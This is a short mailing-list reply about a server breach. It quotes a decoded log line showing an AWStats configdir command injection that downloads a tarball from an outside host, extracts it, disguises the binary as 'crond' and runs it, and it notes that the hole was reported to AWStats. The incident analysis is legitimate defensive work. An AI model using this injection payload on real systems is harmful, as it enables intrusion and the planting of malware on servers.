Security Breach

[Chris Strzelczyk]

>
>> Replace the url-encoded characters and you get:
>>
>> /cgi-bin/awstats.pl?configdir=|echo ;echo b_exp;cd /tmp;curl -0 wget
>> zburchi.idilis.ro/badboy.tar.gz;tar -zxvf badboy.tar.gz;cd psybnc;mv
>> mech crond;export PATH=;crond;echo e_exp;%00
>>
>> So the attacker has tricked the script into executing a set of shell
>> commands, which include changing directory to /tmp, downloading a
>> tarball from a Romanian site, extracting that tarball and then 
>> executing
>> a program from the downloaded and extracted tarball, after renaming it
>> to "crond" in an effort to disguise it.
>
>    Damned fine research.  Good job; I'm impressed.


I have reported this to awstats.  Thanks for your help everybody.

-cs